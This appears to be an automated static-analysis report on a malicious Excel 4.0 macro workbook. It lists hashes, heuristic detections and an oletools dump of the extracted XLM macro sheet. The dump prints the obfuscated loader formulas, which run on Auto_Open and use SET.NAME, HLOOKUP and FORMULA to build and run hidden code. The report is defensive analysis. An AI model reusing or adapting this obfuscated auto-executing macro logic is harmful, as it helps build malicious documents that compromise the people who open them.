Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f274bbfe50e5a217…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:30:56 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 8672c1c321fd7a6ea1495bc848995786 SHA-1: 604f481e293422dc6229a7ee54c922842b74ded7 SHA-256: f274bbfe50e5a217c6220bf0f5984bc42c3dce8ee0e12954382460b79aef0860
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6466 bytes
SHA-256: fbab2e140bf6054c733207ddeae7200c03c86c84bc40fbc7d2bc67a9e3d96e91
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xKCvWvpn
' 0018     21 LABEL : Cell Value, String Constant - AioQXC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A150 
' 0018     23 LABEL : Cell Value, String Constant - bgSCijIQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - cMyoySP len=0 
' 0018     24 LABEL : Cell Value, String Constant - CQXZogTyT len=0 
' 0018     22 LABEL : Cell Value, String Constant - fTBQAne len=0 
' 0018     20 LABEL : Cell Value, String Constant - gDEYB len=0 
' 0018     21 LABEL : Cell Value, String Constant - GhkHio len=0 
' 0018     24 LABEL : Cell Value, String Constant - GpCnVQxJh len=0 
' 0018     26 LABEL : Cell Value, String Constant - IKxUXCmEmKx len=0 
' 0018     22 LABEL : Cell Value, String Constant - ITiEGNn len=0 
' 0018     22 LABEL : Cell Value, String Constant - JQbnDku len=0 
' 0018     24 LABEL : Cell Value, String Constant - LvrtTQgwV len=0 
' 0018     23 LABEL : Cell Value, String Constant - OIylaTEn len=0 
' 0018     21 LABEL : Cell Value, String Constant - orxkUU len=0 
' 0018     22 LABEL : Cell Value, String Constant - PSfjfdv len=0 
' 0018     23 LABEL : Cell Value, String Constant - wNusiBDR len=0 
' 0018     21 LABEL : Cell Value, String Constant - xVlMVm len=0 
' 0018     21 LABEL : Cell Value, String Constant - ytUdVo len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZejxQzQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZvlIzc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xKCvWvpn,A47,"SET.NAME("orxkUU",VALUE("0"))",""
'  xKCvWvpn,A49,"SET.NAME("cMyoySP",orxkUU)",""
'  xKCvWvpn,A54,"SET.NAME("PSfjfdv",orxkUU)",""
'  xKCvWvpn,A58,"SET.NAME("wNusiBDR",COUNTA(gDEYB))",""
'  xKCvWvpn,A62,"SET.NAME("xVlMVm",COUNTA(ZejxQzQ))",""
'  xKCvWvpn,A66,[],""
'  xKCvWvpn,A70,"SET.NAME("CQXZogTyT","")",""
'  xKCvWvpn,A74,"cMyoySP",""
'  xKCvWvpn,A79,"SET.NAME("bgSCijIQ",HLOOKUP("*",gDEYB,cMyoySP,FALSE))",""
'  xKCvWvpn,A82,"ITiEGNn",""
'  xKCvWvpn,A87,"SET.NAME("GpCnVQxJh",orxkUU)",""
'  xKCvWvpn,A92,[],""
'  xKCvWvpn,A97,"GpCnVQxJh",""
'  xKCvWvpn,A101,"ZvlIzc",""
'  xKCvWvpn,A106,"GhkHio",""
'  xKCvWvpn,A109,"IKxUXCmEmKx",""
'  xKCvWvpn,A112,"SET.NAME("fTBQAne",VALUE(HLOOKUP("*",ZejxQzQ,IKxUXCmEmKx,FALSE)))",""
'  xKCvWvpn,A116,"OIylaTEn",""
'  xKCvWvpn,A120,"CQXZogTyT",""
'  xKCvWvpn,A123,"PSfjfdv",""
'  xKCvWvpn,A127,NEXT(),""
'  xKCvWvpn,A129,"ytUdVo",""
'  xKCvWvpn,A134,"SET.NAME("f",INT(T(FORMULA(T(CQXZogTyT)&"",""&T(ytUdVo)))))",""
'  xKCvWvpn,A137,"AioQXC",""
'  xKCvWvpn,A142,NEXT(),""
'  xKCvWvpn,A145,RETURN(),""
'  xKCvWvpn,A177,"SET.NAME("LvrtTQgwV",A47)",""
'  xKCvWvpn,A182,"gDEYB",""
'  xKCvWvpn,A186,"SET.NAME("ZejxQzQ",R59C12)",""
'  xKCvWvpn,A189,"SET.NAME("AioQXC",196)",""
'  xKCvWvpn,A191,"SET.NAME("JQbnDku",1)",""
'  xKCvWvpn,A195,LvrtTQgwV(),""
'  xKCvWvpn,A196,HALT(),""